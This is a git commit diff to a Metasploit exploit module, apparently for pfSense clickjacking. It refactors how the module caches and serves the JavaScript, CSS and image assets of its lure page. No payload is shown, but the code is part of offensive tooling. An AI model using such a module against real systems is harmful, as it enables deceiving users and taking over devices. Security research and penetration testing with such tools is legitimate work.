Only load files once

MS-2855/keylogger-mettle-extension
Wei Chen 2017-12-12 14:54:49 -06:00
parent 942e44ceae
commit c7019e5aee
1 changed files with 24 additions and 12 deletions

View File

@ -52,29 +52,41 @@ class MetasploitModule < Msf::Exploit::Remote
)
end
def js_file
@js ||= lambda {
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
return File.read(path)
}.call
end
def css_file
@css ||= lambda {
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
return File.read(path)
}.call
end
def background_file
@background ||= lambda {
path = File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
return File.read(path)
}.call
end
def on_request_uri(cli, request)
print_status("GET #{request.uri} #{request.headers['User-Agent']}")
resp = create_response(200, "OK")
if request.uri =~ /\.js$/
path = ::File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.js')
fd = ::File.open(path, "rb")
resp.body = fd.read(fd.stat.size)
fd.close
resp.body = js_file
resp['Content-Type'] = 'text/javascript'
elsif request.uri =~ /\.css$/
path = ::File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'cookieconsent.min.css')
fd = ::File.open(path, "rb")
resp.body = fd.read(fd.stat.size)
fd.close
resp.body = css_file
resp['Content-Type'] = 'text/css'
elsif request.uri =~ /\.jpg$/
path = ::File.join(Msf::Config.data_directory, 'exploits', 'pfsense_clickjacking', 'background.jpg')
fd = ::File.open(path, "rb")
resp.body = fd.read(fd.stat.size)
fd.close
resp.body = background_file
resp['Content-Type'] = 'image/jpg'
else